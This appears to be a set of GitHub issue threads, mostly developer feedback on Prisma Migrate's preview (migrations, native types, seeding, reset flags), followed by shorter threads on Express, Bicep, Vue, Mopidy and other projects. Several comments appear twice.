You can (and sometimes may inevitably have to) fix a failed migration manually e.g. if it failed halfway through the process, by crafting and running a custom SQL script. While that's something everyone tries to avoid as much as possible (it's risky, error-prone, stress-inducing, and usually painful), there is no way to have 100% guarantees that a "down" migrations would nicely get the schema back to its original state without risking to lose data: what if a part of the new version of the application worked and started adding data to the newly created columns? Rolling back would be dropping that data, which can cause users quite some frustration...

Hello @PhilippMolitor,
the feature request of being able to run Prisma Migrate programmatically is tracked here: https://github.com/prisma/prisma/issues/4703
What's your process for deploying new versions of your code? Is it automated? All it would take is to inject there a CLI call to prisma migrate deploy.

I feel like handling this with a CLI call isn't clean at all. For example, with knex i did the following:

check the target databases migration status (older, newer, same)
if older, quit all other instances of the app, enable internal maintenance mode, apply migrations
if newer, throw error message and quit
if same, proceed with application bootstrapping

Doing all of this by parsing STDOUT doesn't really do it. Prisma is very clean in elegant in its API, so this should be no exception.
To deploy my code, for very small-scale apps i synced a git repo onto the target server and re-deployed docker containers. Other solutions get deployed via CI with SSH. I would really like the application to handle the database part on its own.
Thanks for your info on the thread that tracks this issue.

@PhilippMolitor Thanks so much for your follow-up comment adding color. Would you be interested in having a chat over Zoom to discuss your setup and expectations in more detail? If yes, can you please book some time with me here? when it works for you? (I'm going to be off for some days for the Christmas break, but there should be time available today/tomorrow and early January) - https://calendly.com/alberto-prisma/30-min-zoom-call

@albertoperdomo Sure, sounds like a great way to have a positive impact, thank you. I will book a call.

Waiting for String character limitation 🙏
I expected below code for character limitation.
model User {
  name String @limit(50)
}

Hi @michiomochi, indeed it's not ready yet but we are actively working on it, we call this the "Native Types" feature and you can track its progress here https://github.com/prisma/prisma/issues/3447

@Jolg42 having a generic length attribute would be really great, as every database i know has some implementation of it. Having this without using native types should be possible right? It seems like a core feature of databases to me.

@PhilippMolitor the length limitation is not implemented in SQLite (for example a VARCHAR(30) is in fact a TEXT) so a generic limitation attribute would not work for SQLite.
The Native Types feature will ensure that the feature works on the specified database.
The universal solution could be to do it during runtime with Prisma Client when creating / updating data.

@Jolg42
Thank you for your reply!
I understand the progress of this feature 👍
Looking forward to the release 🤗

I would love to be able to use prisma migrate reset when running integration tests, but at the moment this requires a confirmation prompt which kills the ability to use this in automated testing. Can we add a --force flag to this command please. This command is PERFECT for the start of integration tests, it drops all the previously creates data, runs migrations, then we generate the client artifacts. Only thing stopping us from using it is the prompt.

I would love to be able to use prisma migrate reset when running integration tests, but at the moment this requires a confirmation prompt which kills the ability to use this in automated testing. Can we add a --force flag to this command please. This command is PERFECT for the start of integration tests, it drops all the previously creates data, runs migrations, then we generate the client artifacts. Only thing stopping us from using it is the prompt.

Thanks @dan003400 for your feedback I think it would be great too, I'll pass the word to my colleagues to discuss 😃

Thanks @dan003400 for your feedback I think it would be great too, I'll pass the word to my colleagues to discuss 😃

Fairly minor but ran into a corner case where I wanted to run a migration created with --create-only but not have it automatically generate and apply another migration for another changeset.

Fairly minor but ran into a corner case where I wanted to run a migration created with --create-only but not have it automatically generate and apply another migration for another changeset.

Interesting @adaddeo - is there anything you can share in terms of context? Why did you want to run a previously generate migration but not generate new migrations? In this case, would you say it would be ok to git stash the changes in your schema, or do you the need for a flag to skip the new changes?

Interesting @adaddeo - is there anything you can share in terms of context? Why did you want to run a previously generate migration but not generate new migrations? In this case, would you say it would be ok to git stash the changes in your schema, or do you the need for a flag to skip the new changes?

@dan003400 prisma migrate reset --force is now live in 2.15.0

@dan003400 prisma migrate reset --force is now live in 2.15.0

Natives Types support is also live in 2.15 :)

Natives Types support is also live in 2.15 :)

@albertoperdomo I had done a create-only migration to rename a column. I altered the migration to just be one line which renamed the column. When I went to re-run the migration I was being prompted to name a second migration and was confused as to what else had changed. It turns out the index names are also being synced with the schema (which is very nice IMO) and since my migration only changed the column name the second was changing the index. So all in all it actually made sense once I figured out what was going on but it seemed strange in the moment I wasn't able to "apply" that pending migration without creating another one.
One thing that wasn't immediately clear, even after looking through the docs (though the concept is definitely outlined here) is how prisma migrate reset is useful in development for modifying an uncommitted migration (say I want to add a column but have a clean PR with one migration). It works great once I figured it out but took me a minute to pick up on as I was thinking more in terms of rolling back as you would in other systems.

@albertoperdomo I had done a create-only migration to rename a column. I altered the migration to just be one line which renamed the column. When I went to re-run the migration I was being prompted to name a second migration and was confused as to what else had changed. It turns out the index names are also being synced with the schema (which is very nice IMO) and since my migration only changed the column name the second was changing the index. So all in all it actually made sense once I figured out what was going on but it seemed strange in the moment I wasn't able to "apply" that pending migration without creating another one.
One thing that wasn't immediately clear, even after looking through the docs (though the concept is definitely outlined here) is how prisma migrate reset is useful in development for modifying an uncommitted migration (say I want to add a column but have a clean PR with one migration). It works great once I figured it out but took me a minute to pick up on as I was thinking more in terms of rolling back as you would in other systems.

In one of my projects, we started using Prisma because we wanted to speed up the development compared to some previous stacks that used either knex or TypeORM. And boy, what a different DX, of course in a better way. But in that project, we couldn't use Prisma Migrate because it was not production-ready yet. So we decided to use graphile-migrate migration tool and I must say that if you like writing DB schema changes in a raw SQL, that combo (prisma & graphile-migrate) worked very well (by using prisma introspect & prisma generate).
But I had constantly in mind, that the right way for handling migrations when Prisma is involved is to treat schema.prisma as a single source of truth especially when you need to alter the schema manually. If you're using prisma.introspect, I think you are more or less out of options to do any kind of manual changes in the schema.prisma, unless you don't want to constantly check what was left in the schema after you did the introspection. Therefore I was eager to see when Prisma Migrate will near to GA.
Today, I made a few tests with Prisma migrate and I'd decided to share my experiences. I like how it is integrated with the Prisma.Client, however, what I miss is a better draft mode. I found that generating multiple migrations files during the development just to apply all the changes that are sometimes kind of roll-backs is quite cumbersome. What I was expecting was something that I discovered in graphile-migrate, where you have a so-called current.sql that represents a migration in a draft mode, and whenever there is a change, it runs against the shadow and finally the development db. But the main trick here is, how the SQL statements should be written. They have to be idempotent. And this requirement opens the door for altering the schema without having roll-back statements or additional steps (i.e. manual change of the migration file) like we have in the current version of Prisma Migrate.
So I imagine applying this kind of approach to Prisma Migrate would be something like this:

Change in schema.prisma occurs;
Prisma generates draft migration file which has idempotent SQL statements and executes against shadow and dev DB;
When a developer is done with changes, he would run smth like prisma migrate commit, which would delete the draft file and generate a migration file that would be versioned in the VSC.

I'm aware that I'm biased in favor of graphile-migrate, but I thought it might be useful to share my thoughts if that would help with further Prisma Migrate development.

In one of my projects, we started using Prisma because we wanted to speed up the development compared to some previous stacks that used either knex or TypeORM. And boy, what a different DX, of course in a better way. But in that project, we couldn't use Prisma Migrate because it was not production-ready yet. So we decided to use graphile-migrate migration tool and I must say that if you like writing DB schema changes in a raw SQL, that combo (prisma & graphile-migrate) worked very well (by using prisma introspect & prisma generate).
But I had constantly in mind, that the right way for handling migrations when Prisma is involved is to treat schema.prisma as a single source of truth especially when you need to alter the schema manually. If you're using prisma.introspect, I think you are more or less out of options to do any kind of manual changes in the schema.prisma, unless you don't want to constantly check what was left in the schema after you did the introspection. Therefore I was eager to see when Prisma Migrate will near to GA.
Today, I made a few tests with Prisma migrate and I'd decided to share my experiences. I like how it is integrated with the Prisma.Client, however, what I miss is a better draft mode. I found that generating multiple migrations files during the development just to apply all the changes that are sometimes kind of roll-backs is quite cumbersome. What I was expecting was something that I discovered in graphile-migrate, where you have a so-called current.sql that represents a migration in a draft mode, and whenever there is a change, it runs against the shadow and finally the development db. But the main trick here is, how the SQL statements should be written. They have to be idempotent. And this requirement opens the door for altering the schema without having roll-back statements or additional steps (i.e. manual change of the migration file) like we have in the current version of Prisma Migrate.
So I imagine applying this kind of approach to Prisma Migrate would be something like this:

Change in schema.prisma occurs;
Prisma generates draft migration file which has idempotent SQL statements and executes against shadow and dev DB;
When a developer is done with changes, he would run smth like prisma migrate commit, which would delete the draft file and generate a migration file that would be versioned in the VSC.

I'm aware that I'm biased in favor of graphile-migrate, but I thought it might be useful to share my thoughts if that would help with further Prisma Migrate development.

@tadejstanic Thanks for taking the time to write such comprehensive thoughtful feedback.
I'm with the product team at Prisma, currently focusing on Prisma Migrate.
I'm not familiar with graphile-migrate but now that you've mentioned it I will look into it.
We have thought a bit about that drafting workflow. With the current product shape, this is possible by using prisma db push during prototype. This updates the database schema from the Prisma schema file without creating any migration files. Once you are ready, you can create a new migration with migrate dev, and as part of the process the database will be reset and the new migration applied.
This has some limitations: you would not be able to customize SQL during this iteration process.
We have also considered alternative ways of achieving similar workflows:

a draft mode, where we keep re-writing on the same migration until it is "committed". This has the potential problem of opening up for the user to customize the SQL, only for it to be overwritten again.
squashing migrations after they have been created (has a similar problem to the above, unless we just concatenate the files, which might have questionable value).

What do you think of the workflow using prisma db push until you are ready to create the migration? And what are your thoughts on customizing the SQL scripts and having these files been overwritten when using this draft functionality?
Bonus: if you have some time I'd love to setup a 30 min call with you to chat more in depth. You can book some time with me using this link - https://calendly.com/alberto-prisma/30-min-zoom-call

@tadejstanic Thanks for taking the time to write such comprehensive thoughtful feedback.
I'm with the product team at Prisma, currently focusing on Prisma Migrate.
I'm not familiar with graphile-migrate but now that you've mentioned it I will look into it.
We have thought a bit about that drafting workflow. With the current product shape, this is possible by using prisma db push during prototype. This updates the database schema from the Prisma schema file without creating any migration files. Once you are ready, you can create a new migration with migrate dev, and as part of the process the database will be reset and the new migration applied.
This has some limitations: you would not be able to customize SQL during this iteration process.
We have also considered alternative ways of achieving similar workflows:

a draft mode, where we keep re-writing on the same migration until it is "committed". This has the potential problem of opening up for the user to customize the SQL, only for it to be overwritten again.
squashing migrations after they have been created (has a similar problem to the above, unless we just concatenate the files, which might have questionable value).

What do you think of the workflow using prisma db push until you are ready to create the migration? And what are your thoughts on customizing the SQL scripts and having these files been overwritten when using this draft functionality?
Bonus: if you have some time I'd love to setup a 30 min call with you to chat more in depth. You can book some time with me using this link - https://calendly.com/alberto-prisma/30-min-zoom-call

Outside of whats been said here, something that confuses me is why a single migration.sql file is being written to a migration folder, instead of doing like migrations/20210101000000_initial_schema/migration.sql can we get migrations/20210101000000_initial_schema.sql makes it easier to maintain when it's not a directory of directories with a single migration file. Unless I'm missing something and there's going to be or is more that goes in there than the single migration.sql file.

Outside of whats been said here, something that confuses me is why a single migration.sql file is being written to a migration folder, instead of doing like migrations/20210101000000_initial_schema/migration.sql can we get migrations/20210101000000_initial_schema.sql makes it easier to maintain when it's not a directory of directories with a single migration file. Unless I'm missing something and there's going to be or is more that goes in there than the single migration.sql file.

I was testing the nativeTypes feature with postgres, and not sure if this a bug,
but I used
	updatedAt @updatedAt @db.Timestamptz
to get a timestamp with timezone. Even though the initial migration is applied with the timestamp with timezone.
 "updated_at" TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
 "created_at" TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,

every time I run prisma migrate dev --preview.., there are new migrations created that have this:
-- AlterTable
ALTER TABLE "notification_preferences" ALTER COLUMN "updated_at" SET DATA TYPE TIMESTAMPTZ,
ALTER COLUMN "created_at" SET DATA TYPE TIMESTAMPTZ;

Is this a bug, or expected?

I was testing the nativeTypes feature with postgres, and not sure if this a bug,
but I used
	updatedAt @updatedAt @db.Timestamptz
to get a timestamp with timezone. Even though the initial migration is applied with the timestamp with timezone.
 "updated_at" TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
 "created_at" TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,

every time I run prisma migrate dev --preview.., there are new migrations created that have this:
-- AlterTable
ALTER TABLE "notification_preferences" ALTER COLUMN "updated_at" SET DATA TYPE TIMESTAMPTZ,
ALTER COLUMN "created_at" SET DATA TYPE TIMESTAMPTZ;

Is this a bug, or expected?

@albertoperdomo

What do you think of the workflow using prisma db push until you are ready to create the migration? And what are your thoughts on customizing the SQL scripts and having these files been overwritten when using this draft functionality?

I have mixed feelings about prisma db push. I went through the docs and they are quite complicated to reason, especially if you don't have a lot of experiences with the db migrations (therefore I'm a bit concerned for junior devs for instance). If we take the limitation regarding column renaming, it forces you to use a different command prisma migrate dev --create-only and manually edit the SQL script which I found somehow contradictory with the idea of making db schema changes through a single source of truth - schema.prisma. This leads to my answer about customizing the SQL scripts. My personal feeling is having two ways for changing db schema (SQL scripts and scehma.prisma) seems like a good decision but on the other hand, I'm afraid it just adds another layer to keep in sync which you've already implicitly mentioned.
I'm quite confident, that the idea of generating idempotent SQL statements during the draft mode would also solve the problems that you've exposed while presenting alternative ways (re-writing on the same migration until it is "committed" AND squashing migrations). From my experiences, when you have idempotent SQL statements, you are actually just appending them to the draft file until you achieve the desired state. Another benefit of this approach would also be, that you wouldn't need to reset the db because if there are some conflicts with the schema or existing data, the execution of the last appended SQL statement would just fail.

@albertoperdomo

What do you think of the workflow using prisma db push until you are ready to create the migration? And what are your thoughts on customizing the SQL scripts and having these files been overwritten when using this draft functionality?

I have mixed feelings about prisma db push. I went through the docs and they are quite complicated to reason, especially if you don't have a lot of experiences with the db migrations (therefore I'm a bit concerned for junior devs for instance). If we take the limitation regarding column renaming, it forces you to use a different command prisma migrate dev --create-only and manually edit the SQL script which I found somehow contradictory with the idea of making db schema changes through a single source of truth - schema.prisma. This leads to my answer about customizing the SQL scripts. My personal feeling is having two ways for changing db schema (SQL scripts and scehma.prisma) seems like a good decision but on the other hand, I'm afraid it just adds another layer to keep in sync which you've already implicitly mentioned.
I'm quite confident, that the idea of generating idempotent SQL statements during the draft mode would also solve the problems that you've exposed while presenting alternative ways (re-writing on the same migration until it is "committed" AND squashing migrations). From my experiences, when you have idempotent SQL statements, you are actually just appending them to the draft file until you achieve the desired state. Another benefit of this approach would also be, that you wouldn't need to reset the db because if there are some conflicts with the schema or existing data, the execution of the last appended SQL statement would just fail.

@joshmanders

something that confuses me is why a single migration.sql file is being written to a migration folder

I think this is due to the migration.sql file currently acting as a script that does something to the database instead of reverting what has been done by the migration.sql. My idea is that the reason for the extra migration folders might be that there could be a migration_up.sql and a migration_down.sql in future releases, allowing you to control what happens when the migration should be run and what should happen when this should be reverted.
Is this assumption correct? And if yes, is this planned?

@joshmanders

something that confuses me is why a single migration.sql file is being written to a migration folder

I think this is due to the migration.sql file currently acting as a script that does something to the database instead of reverting what has been done by the migration.sql. My idea is that the reason for the extra migration folders might be that there could be a migration_up.sql and a migration_down.sql in future releases, allowing you to control what happens when the migration should be run and what should happen when this should be reverted.
Is this assumption correct? And if yes, is this planned?

@nksaraf thanks for reporting the timestamptz issue — working on a fix right now.

@nksaraf thanks for reporting the timestamptz issue — working on a fix right now.

@nickreynke

@joshmanders

something that confuses me is why a single migration.sql file is being written to a migration folder

I think this is due to the migration.sql file currently acting as a script that does something to the database instead of reverting what has been done by the migration.sql. My idea is that the reason for the extra migration folders might be that there could be a migration_up.sql and a migration_down.sql in future releases, allowing you to control what happens when the migration should be run and what should happen when this should be reverted.
Is this assumption correct? And if yes, is this planned?

From my understanding the Prisma Migrate command will be Forward Only migrations. https://sbg.technology/2016/02/02/how-we-release-so-frequently/

@nickreynke

@joshmanders

something that confuses me is why a single migration.sql file is being written to a migration folder

I think this is due to the migration.sql file currently acting as a script that does something to the database instead of reverting what has been done by the migration.sql. My idea is that the reason for the extra migration folders might be that there could be a migration_up.sql and a migration_down.sql in future releases, allowing you to control what happens when the migration should be run and what should happen when this should be reverted.
Is this assumption correct? And if yes, is this planned?

From my understanding the Prisma Migrate command will be Forward Only migrations. https://sbg.technology/2016/02/02/how-we-release-so-frequently/

Proposal: --skip-seed flag for prisma migrate reset
Our tests are setup to run against a clean database and this would let us use this command for quickly resetting between tests.

Proposal: --skip-seed flag for prisma migrate reset
Our tests are setup to run against a clean database and this would let us use this command for quickly resetting between tests.

@adaddeo I added a GH issue for this: https://github.com/prisma/prisma/issues/5317

@adaddeo I added a GH issue for this: https://github.com/prisma/prisma/issues/5317

@albertoperdomo  awesome!
Another approach: --seeds ./prisma/testSeeds.ts, giving the ability to have one stable seeds file for test environments versus one that might be changing more freely to meet developers needs for local development

@albertoperdomo  awesome!
Another approach: --seeds ./prisma/testSeeds.ts, giving the ability to have one stable seeds file for test environments versus one that might be changing more freely to meet developers needs for local development

Can someone please have a look into these issues - #5282 & #5244 . It's becoming really difficult to use Prisma migrate since it resets the db every time and is now also dropping & recreating foreign keys after upgrade to v2.16.

@codeslayer1 We are going to look into both issues very soon.

@adaddeo --skip-seed is now live in 2.16.0

Update: 2.15.0 release
In 2.15.0 we added support for native types in Prisma Migrate via the nativeTypes preview feature.
Using the native type syntax for PSL, Prisma Migrate will generate the corresponding DDL statements in the migrations.
We also added support for seeding. You can find the guide here and the reference docs here. Feedback for the seeding functionality can be shared here.
Prisma Migrate will automatically trigger seeding when the database is reset.
More info in the release notes for 2.15.0.
Update: 2.16.0 release
As you may have noticed most of our team effort in the last two weeks has been spent on native types and improving its compatibility with Prisma Migrate.
We've now added Unsupported(String) and dbgenerated(String), which makes it possible to use Prisma Migrate to manage columns of types that are not yet supported by Prisma.
Example:
generator client {
  provider        = "prisma-client-js"
  previewFeatures = ["nativeTypes"]
}

datasource db {
  provider = "mysql"
  url      = env("DATABASE_URL")
}

model User {
  id    Int                            @id @default(autoincrement())
  email String                         @unique
  name  String?
  bio   Unsupported("multilinestring") @unique @default(dbgenerated("''"))
}

Prisma Migrate generates the following migration:
CREATE TABLE `User` (
  `id` INTEGER NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(191) NOT NULL,
  `name` VARCHAR(191),
  `multilinestringField` multilinestring NOT NULL DEFAULT '',

  UNIQUE INDEX `User.email_unique`(`email`),
  UNIQUE INDEX `User.bio_unique`(`bio`),
  PRIMARY KEY (`id`)
);

dbgenerated(String) can also be used with supported native types. Here is an example of how to leverage this to use database-generated UUIDs as default for a UUID column:
model User {
  id   String  @id @db.Uuid @default(dbgenerated("gen_random_uuid()"))
  name String?
}

Prisma Migrate generates the following migration:
CREATE TABLE "User" (
    "id" UUID NOT NULL DEFAULT gen_random_uuid(),
    "name" TEXT,

    PRIMARY KEY ("id")
);

There is a new option --skip-seeding for prisma migrate reset and prisma migrate dev.
More info in the release notes for 2.16.0.

Hello,
Thank you for working on an awesome migration experience! Today I’ve just encountered an error while trying to add a new one-to-one relationship and I’m not sure how to proceed:
Step 0 Added the required column `[redacted]` to the `[redacted]` table without a default value. There are [n] rows in this table, it is not possible to execute this migration.

While this error totally makes sense, I would like to create and then connect a new model to each record of the [redacted] table. While modifying the migration file might work out somehow, I’m not sure how CUIDs should be generated as the primary key of each model I plan to generate.
I’m curious if there’s a chance to support programmatic migration files, e.g. JavaScript/TypeScript executed besides an SQL file. If that isn’t planned, how should I solve the one-to-one relationship problem introduced by adding a new mandatory attribute tied to another, not-yet-created model?

Hi @kripod — a typescript migrations DSL is definitely something that is on the table, but since it would be a lot of design and implementation work, the tradeoffs and priorities have to be weighed. To answer to your specific case, as in many other scenarios, the flexible and scalable way to do this migration would be in multiple steps:

In a first migration, add the new field, but nullable
Deploy that migration, fill in the data (cuid is trickier, as you noted, because afaik you can't fill that in directly in SQL)
Once the data is there, make the field required in a second migration

One alley that we considered as well would be giving guidance for these kinds of scenarios directly in migrate. There's a lot of possibilities.

Thanks for your detailed answer, @tomhoule!
I would love to see a way to add migration_before.{js,ts} and migration_after.{js,ts} files inside each step’s directory and execute them in the same transaction as migration.sql. Thus, data fixes could occur alongside schema modifications without any records left in an inconsistent state by accident.
To let programmatic migration steps be applied as a transaction, I think that migration_{before,after} files should have a format similar to:
export default async (prisma) => {
  const prevData = await prisma.model1.find(…);
  return [
    prisma.model1.updateMany(…),
    prisma.model2.create(…),
  ];
}

The --create-only flag does not seem to work correctly. Create an issue here: https://github.com/prisma/prisma/issues/5553

Liking Prisma Migrate so far.
Early days in terms of my experience with it but so far it has been excellent.
I very much appreciate the code-first approach that Prisma Migrate is taking. It makes consistent, repeatable database development, testing and deployment quite easy.
I have questioned to myself why the decision was made to introduce a layer of abstraction, i.e. prisma.schema, with it's own Prisma Schema Language, rather than just working with SQL in the first place? But I suppose I'll probably understand that a bit more the further I get into the Prisma docs.
Was able to get up and running and comfortably familiar with Prisma Migrate in a short time after reading through the docs and trying things out in my dev environment a few times. I've so far been exploring the development/non-production aspects. Looking forward to playing around with non-development/production oriented features next, i.e. migrate deploy etc.

https://github.com/prisma/prisma/issues/5714

https://github.com/prisma/prisma/issues/5716

when Prisma Migrate it will be GA / production-ready  ?

@MohannadBahaa Stay tuned. We'll have news very soon.

Hello! Prisma Migrate was released in General Availability today in version 2.19.0!
The announcement blog post can be found here.
Documentation can be found here.
We are still listening to your feedback through the usual channels (GH issue, #product-feedback on Public Slack).

@MohannadBahaa Stay tuned. We'll have news very soon.

awesome


Support for PHP scripts

I currently use express to host my website, I use PHP and HTML, PHP shows as Text and doesn't run any scripts.
Please make php work with express.

Hello, and welcome to Express.js. I think there may be some confusion as to what Express.js is: it is not a general web server like Apache, NGINX, IIS, etc. It is a framework written in Node.js for Node.js development. As such, the only code it "runs" is Javascript, the langauge of Node.js. What you are seeing is you are using the feature of Express.js to send the contents of files to your web browser (the static middleware). In theory you or someone could probably write a middleware that would load in PHP files and call out to a PHP interperter to run it, capture the outpit, and send it as the response. I doubt that would be performat compared to a more appropriate server like Apache or NGINX, though.


Support credentialHelper setting

It looks like this does not support the Firebase UI credentialHelper config setting. I set credentialHelper: 'firebaseui.auth.CredentialHelper.NONE' and email sign-in still opens accountchooser.com.

It's strange since we just pass the uiConfig object untouched to the underlying firebaseUi widget since firebaseui-web-react is just a wrapper (see code).
Have you tested to see if this works when using firebaseui-web directly?

Never mind, this was user error 😄 I had a typo in the property value, and firebaseui-web defaults to the account chooser for any value other than 'none'.


Misleading error squiggle when missing closing parenthesis

Bicep version
VS Code 0.4.613
Describe the bug
In the below example, a closing brace is missing at the end of the file, however the error squiggles suggest the problem is with accountName.  There is no problem with accountName - just the file is incomplete.
To Reproduce
param accountName string
resource x 'Microsoft.Storage/storageAccounts@2021-04-01' = {
  name: accountName

Also related to #3569

I can no longer repro with Bicep v0.14.85 - the error shows up at the end of the file. Please re-open if you still see this occurring.


Pipchecker retry

Fixes #1587
Unfortunately the response is an XML-RPC Fault object, which does not have headers for retrieving the time. Pypi seems to have a 60 second retry limit which made an exponential backoff approach inefficient since it will not process the requests any sooner than 60 seconds. Also it appears that the XML-RPC api for pypi is up for depreciation  which may require a more significant PR in the future.
I'm a little uncertain about how to test something like this, but I have included a new test that writes a requirements.txt file that I found reproduced the issue.

Coverage decreased (-71.3%) to 0.0% when pulling 7f28750df9cc0f5a386ba7ecf85c62571c123384 on mplumador:pipchecker-retry into 91a464072c14ab093c3a0975f1e2fe922bb23206 on django-extensions:master.

One can only hope that we can stop using XML-RPC as soon as possible 👍
As you say this is a larger efforts and we need to find a sponsor for it... (time wise or financial)
Otherwise it will be likely that we will remove pipchecker when it breaks as XML-RPC gets removed someday in the future.
For now the PR seems fine for me... however I am thinking that we should print some message to the user... as 60 seconds is a long time to wait without anything happening :-(

Thanks !

Thanks @mplumador  for this update -- it's working again now for me, but very slow (~20 minutes for a 20 line file, on account of the 60 second retry).
I've been using pip list --outdated as a workaround which runs instantly, but does not take a requirements file as an input.


Added Ounces to Mass

Straightforward addition of Ounces to Mass Units

Other than that, looks good to me. Let me know when you've updated the pull request and I'll merge it in. I don't seem to be notified of new commits in a PR.
Thanks!

Corrected the whitespace and rearranged the tests alphabetically. Thanks

That was fast :+1:

I'll try to release a nuget later today.

Thank you

Nuget 3.6.0 is now out.


Update plugin-aws-codebuild.yml

Adding access for Leo
(This PR template only applies to permission changes -- ignore for changes to the tool)
Description
https://issues.jenkins-ci.org/browse/HOSTING-245
Maintainer: @subinataws
Permissions pull request checklist
Always

[X] Add link to plugin/component Git repository in description above

When adding new uploaders (this includes newly created permissions files)

[X] Make sure to @mention an existing maintainer to confirm the permissions request, if applicable
[X] Use the Jenkins community (LDAP) account name in the YAML file, not the GitHub account name
[X] All newly added users have logged in to Artifactory at least once

@subinataws approves this access.

LGTM, and https://issues.jenkins-ci.org/secure/ViewProfile.jspa?name=leobaran_aws exists (though can't check if he actually logged in at least once)


Dude: Read GPS position only once

(Translated by Google)
I need to read the GPS position in background , just once . No repeatedly. Only when the app , receive a push notification .
Is it possible with this plugin do that?
The idea is to show (or not), the notification to the user, depending on whether the person is close to the position reached in the notification itself.
Thanks

You don't need this plugin for it. You more need phonegap-build/PushPlugin and HTML5 geolocation navigator.geolocation.getCurrentPosition (on platforms missing geolocation use cordova-geolocation as polyfill)

thank


Vue 3 SFC Compiler function call with semicolon bug.

Vue version
3.2.47
Link to minimal reproduction
https://github.com/houd1ni/vue-issues
Steps to reproduce

npm i
npm run dev
open in a browser (mine is ff latest).
See the console.

At first glance, it is a sfc compiler stuff.
If it is a vite's issue, I'd open it there and close here, though.
What is expected?
Clean console, Compo.vue output with its' hello.
What is actually happening?
It is crashing because the compiler removes semicolons and moves ;(window) after a function call.

System Info
ff111.0b3 @ win10x64 intel 12100 w 32GbDDR43200.
node v19.2.0

Any additional comments?
😭

The compiled part:

I think this is a @vue/compile-sfc bug. I debugged it and found the problem。When processing defineProps again, it deletes the semicolon of the next line together。
here。

playground

In this case, it cannot be parsed normally。
const props = defineProps({     prop: { type: String, required: true },   }),   emits = defineEmits(['handleChange']),   a = 1

#6778

#7810 Sorry, this pr does not solve this problem perfectly. I have to rethink the solution.So I closed it, I'm sorry.


Reducing CPU usage

Mopidy isn't exactly super-fast when running on a Raspberry Pi Zero but it's even worse when the CPU is pegged at over 95% usage during playback with this extension enabled. I'm not convinced 30 redraws per second are required. And threading.Event.wait() has a pretty nasty implementation in Python 2. With this quick hack the usage comes down to 55-70%. One annoying side-effect of this is that there's potentially a delay when stopping Mopidy, perhaps there is a better fix out there.

I wonder if it's worth attempting a dynamic framerate so that we can still have nice things like album art transitions, but then idle for regular display.
It's possible to do the maths and figure out for any given song how often the transport will visually update (since each horizontal pixel on the screen is going to equal some number or fraction of seconds, and we can only change by one pixel at a time) but I'd be given to being lazy and just sticking with 1FPS during "idle" times with immediate updates following things like button presses.

That sounds like a good idea.

Whew. That was exhaustive.
The crux of this issue, as you rightly observed, is that event.wait really wasn't doing what I understood it would do, resulting in - as far as I understand now - totally unbounded calls to the drawing handler. I think event.wait always returns immediately if the event is_set(), otherwise it waits for the given timeout value. A lack of understanding on my part.
This aside, I discussed this with the team for inspiration and found some good opportunities to optmise both pidi-display-pil and, as a consequence, pidi-display-st7789 to avoid drawing calls unless:

The volume changes (and thus the bar needs to be redrawn)
The "progress" advances enough that it will visually change (determined in pixels)
An album art transition is happening
The song state has changed (play/pause)

See: https://github.com/pimoroni/pidi-plugins/pull/1
This requires the companion change in mopidy-pidi - https://github.com/pimoroni/mopidy-pidi/commit/9e7502c3729c991f01d9f338ab1d581526066483
From testing with top this appeared to have a dramatic impact on CPU usage.

Version 0.1.0 should fix half of this problem- hopefully moderately improving CPU usage by introducing an actual delay in the update loop. It also includes the new threaded album art download feature.
I'll release v0.0.3 versions of pidi-display-st7789 and pidi-display-pil soon- these are much more aggressive about how they update the back-buffer and display, to improve CPU usage even more.
In my tests on a Pi 4 it seems to be idling around 2% CPU, bursting around 30% on playback start (album art transitions invalidating the display cache) and then settling down to around 10-15% on playback.

I was going to ask about the album art download feature. Is it a conscious decision not to use the images provided by Mopidy? Sometimes your musicbrainz search doesn't find anything.

It's mostly because "PiDi" came before the idea to directly integrate into Mopidy, and was designed to work connected to - in theory - any music player. The idea to integrate directly into Mopidy came later when we realised it would simplify everything and also perform much better.
There's no reason why mopidy-pidi couldn't use Mopidy album art, however, do you have a good example of how to accomplish this? I tried printing out track.album.images and get only an empty set.
The musicbrainz_id should come in super useful if it's available for sources like Spotify, much less of a fudge than doing a title-based search at least.

Track.album.images is deprecated in favour of https://docs.mopidy.com/en/latest/api/core/#mopidy.core.LibraryController.get_images
Note that if you are playing local files, and there wasn't any local album art found, you'll get an empty dictionary from get_images(); in that case your musicbrainz art grabber would still be useful. But the Spotify backend will always provide artwork.

Ah, brilliant- I had to put my Spotify Client ID and Secret in (I've been lazily using my setup without them) but once those were in place I now get:
{'spotify:track:2yLMuUJ8xXBOzdbRE5ZkJW': (Image(height=640, uri='https://i.scdn.co/image/ab67616d0000b2736d4fb043844cf504958a202b', width=640), Image(height=300, uri='https://i.scdn.co/image/ab67616d00001e026d4fb043844cf504958a202b', width=300), Image(height=64, uri='https://i.scdn.co/image/ab67616d000048516d4fb043844cf504958a202b', width=64))}

Which is definitely something I can work with in the plugin host- eliminating the need for MusicBrainz on all Spotify content. Thank you for pointing me in the right direction.

eliminating the need for MusicBrainz on all Spotify content.

I think you could skip using MusicBrainz regardless of backend, unless get_images doesn't give you anything.
Using get_images allows users to have whatever artwork they decide to put in their media directory. And allows backends like TuneIn and Podcast to provide sensible artwork where MusicBrainz would simply fail.

After starting work on this feature last night and losing it to a snapped SD card (tossed my Pi in the bottom of my bag with no case on, like the maverick I am) I whipped it up again this morning for testing: https://github.com/pimoroni/mopidy-pidi/pull/4
There are, likely, a few bugs. Notably I should identify which image to use in a less crude way than: https://github.com/pimoroni/mopidy-pidi/pull/4/files#diff-e4eb73fad473ace8de867f0435a39a17R126
It's so much quicker than a MusicBrainz lookup, although I still have to grab the URLs and cache them locally so that the PIL-based display plugin can load them.

I think this thread has run its course. Thank you for your input!


Add front-end console logging in Monitor

Closes #2659
Added console logs for REST calls that indicate:

What was called
JSON data string returned from call

REST calls used on the Monitor Overview page use console.debug() to avoid clogging up the console. These log messages are filtered out by default in some browsers but can be shown if toggled on. Otherwise, the rest of the REST calls use console.info().

These changes look good so far. It might be a good addition to add the type of REST call in the logged message. For example you could say "REST GET request to ..." or "REST POST request to ..."

Will work on cleaning up commits.


Make a tutorial

This is here so I know what to do later on.
In this case, I want to actually make a tutorial so it's easy for people to understand what they're doing with this.

Done with commit be52896a72e4a1807b27b6349ec9de833487350f


